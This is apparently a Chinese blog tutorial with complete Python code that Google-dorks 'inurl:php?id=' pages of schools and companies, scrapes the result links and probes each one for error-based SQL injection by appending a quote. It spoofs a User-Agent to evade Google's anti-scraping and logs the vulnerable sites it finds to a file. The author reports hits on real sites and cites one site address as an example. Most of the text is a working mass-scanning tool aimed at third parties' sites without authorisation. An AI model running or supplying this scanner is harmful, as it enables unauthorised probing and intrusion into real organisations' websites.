文章目录
概述
整体思路:
1.调用Google批量搜索;
2.筛选出相关网站链接;
3.拿到链接后,对单页面进行SQL注入的参数探测
4.输出探测结果。
1. 调用谷歌进行批量搜索
测试:
# 开启HTTP代理,成功访问代码:print(requests.get("https://www.google.com.hk/search?q=中国").text)
# 成功访问代码:print(requests.get("https://www.google.com.hk/search?q=inurl:php?id= 学校").text)
代码,成功返回Google搜索结果:
url = "https://www.google.com.hk/search?q=inurl:php?id= 学校"
res = requests.get(url)
html = res.text
代理不稳定时,Python可能会报错,再次执行py文件即可:
requests.exceptions.ProxyError: HTTPSConnectionPool(host=‘www.google.com.hk’, port=443): Max retries exceeded with url: /search?q=inurl:php?id=%20%E5%AD%A6%E6%A0%A1 (Caused by ProxyError(‘Cannot connect to proxy.’, OSError(0, ‘Error’)))
2. 筛选相关网站链接
查看Google搜索结果网页的前端代码,找到某个相关网站的超链接:
使用bs4解析库,发现得到的网站链接格式是/url?q=httpxxx&sa=x&ved=x&usg=x。
依据这个格式把查询到的网站筛选出来,定位http和&进行截取。
代码:
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:
href = tag.get("href")
if(("http" in href) and ("google" not in href)):
url = href[href.find("http"):]
url = url[:url.find("&")] # 得到第一页的10个网站,例如http://www.shenghuaedu.com/about.php%3Fid%3D41,
url = urllib.parse.unquote(url) # python或直接访问会返回404,需要url解码
# print(url)
SqlPoc(url)
3.SQL注入漏洞探测
def SqlPoc(url):
res = requests.get(url+"'")
if("MySQL" in res.text):
print("最后一个get参数存在报错注入:" + url)
执行效果:
补充
问题1:访问Google前10页搜索结果。
Google直接返回的页面是第一页,只有10条记录。访问后,Google会添加一些参数。通过对比前三页的URL地址,发现区别在于start=n*10, 其中n是自然数。
对第一页网址进行URL解码:https://www.google.com.hk/search?q=inurl:php?id= 学校&newwindow=1&safe=strict&ei=CvlvYNOaJZeKr7wPxMussAM&start=0&sa=N&ved=2ahUKEwjTx8iOyfDvAhUXxYsBHcQlCzY4ChDy0wN6BAgBEDE&biw=1536&bih=750
对第二页网址进行URL解码:https://www.google.com.hk/search?q=inurl:php?id= 学校&newwindow=1&safe=strict&ei=-vVvYI2qL9LFmAW1zJLYCQ&start=10&sa=N&ved=2ahUKEwiNj-eYxvDvAhXSIqYKHTWmBJsQ8tMDegQIARAy&biw=1536&bih=750
通过python能否获取当前页面的完整网址?
通过res.响应头找到res.url方法,但得到的是访问的url。
通过前端代码得到前10页查询结果的网址,因为第1页只显示前10页,或前8页。
根据关键词“start=”来定位,只返回了第二页的链接。复制response到notepad++,
查找"start=0/90",发现确实没有其它页的链接,这跟看到的前端源码不相符。
解决办法:Google防爬虫技术,为请求头添加User-Agent信息可以解决问题。
传入Google查询搜索URL地址,筛选出前10页,发现只返回了2-9页的地址。
把每页的查询结果传递给Current_Page(),爬取每页的相关网站。
def TenPage(url_query):
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
}
res = requests.get(url, headers=headers)
html = res.text
#print(html)
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:
href = tag.get("href")
if(href != None):
if("start" in href):
Current_Page("https://www.google.com.hk" + href)
#print(href)
问题2:异常处理
测试100个网站,总会有访问错误的情况发生,要想让程序继续执行,必须捕获异常。
def SqlPoc(): # 10页搜索结果
count = 0
with open("query_site.txt", "r") as f:
for each_line in f:
url = each_line[:each_line.find("\n")]
count = count + 1
if(count%10 == 0):
print(count)
try:
res = requests.get(url+"'", timeout=3) # 等待时间超过3秒即抛弃
if ("MySQL" in res.text):
print("最后一个get参数存在报错注入:" + url)
except:
continue
print(count)
f.close()
问题3:扫描效果差
设置等待3秒就放弃访问,捕获异常,然后扫描2-9页只探测到一个网站的漏洞。
不知道是网速或代理的问题,还是SQL报错注入确实比较少。
完整代码
扫描Google搜索结果的第一页网站
代码执行效果(日本代理速度真快):
全部代码:
import requests
import urllib
from bs4 import BeautifulSoup
def Current_Page(url):
res = requests.get(url)
html = res.text
#print(html)
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:
href = tag.get("href")
if(("http" in href) and ("google" not in href)):
url = href[href.find("http"):]
url = url[:url.find("&")] # 得到10网站,例如http://www.shenghuaedu.com/about.php%3Fid%3D41,python或直接访问会返回404,需要url解码
url = urllib.parse.unquote(url)
SqlPoc(url)
#print(url)
#url_list.append(url)
def SqlPoc(url):
res = requests.get(url + "'")
if ("MySQL" in res.text):
print("最后一个get参数存在报错注入:" + url)
url_query = "https://www.google.com.hk/search?q=inurl:php?id= 学校"
Current_Page(url_query)
扫描Google搜索结果的前10页网站
查询语法很重要,输入“学校”几乎没有探测到漏洞,输入“企业”就探测到多个站点。
执行效果:
全部代码
import requests
import urllib
from bs4 import BeautifulSoup
url_query = "https://www.google.com.hk/search?q=inurl:php?id= 企业"
google_list = []
site_list = []
count = 0
def Current_Page(google_list):
for url in google_list:
res = requests.get(url)
html = res.text
#print(html)
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:
href = tag.get("href")
if(("http" in href) and ("google" not in href)):
url = href[href.find("http"):]
url = url[:url.find("&")] # 得到10网站,例如http://www.shenghuaedu.com/about.php%3Fid%3D41,python或直接访问会返回404,需要url解码
url = urllib.parse.unquote(url)
IsUnique(site_list, url)
def SqlPoc(site_list, count): # 10页搜索结果
for url in site_list:
print("第%d个网站"%count , end=" ")
count = count + 1
try:
res = requests.get(url+"'", timeout=5)
if ("MySQL" in res.text):
print()
print("最后一个get参数存在报错注入:" + url)
WriteLeak(url)
# else:
# print("不存在报错注入" + url + " ", end="")
except:
print("连接异常:" + url, end=" ")
def TenPage(url):
headers = {
"User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.146 Safari/537.36"
}
res = requests.get(url, headers=headers)
html = res.text
#print(html)
soup = BeautifulSoup(html, 'lxml')
tags = soup.select("a")
for tag in tags:
href = tag.get("href")
if(href != None):
if("start" in href):
# print(href)
google_query = "https://www.google.com.hk" + href
IsUnique(google_list, google_query)
def WriteSite(site_list):
with open("query_site.txt", "w+") as f:
for x in site_list:
f.write(x + "\n")
f.close()
def WriteLeak(url):
with open("leak_site.txt", "a+") as f:
f.write(url + "\n")
f.close()
def IsUnique(list1, element):
if(element not in list1):
list1.append(element)
TenPage(url_query)
Current_Page(google_list)
WriteSite(site_list)
SqlPoc(site_list,count)
print()
print("查询结果页数量:%d"%(len(google_list)-1))
print("去重后网站数量:%d"%len(site_list))
参考
《AttributeError: module ‘urllib’ has no attribute 'quote’的解决办法》,2020-02
https://blog.csdn.net/weixin_41597019/article/details/104150737
《Python:打开文件读取每一行(使用with as)》,2017-08
www.tkvs.ylc.edu.tw
《python中的程序中断、for循环和while循环》,2019-06
https://blog.csdn.net/weixin_44889616/article/details/93667145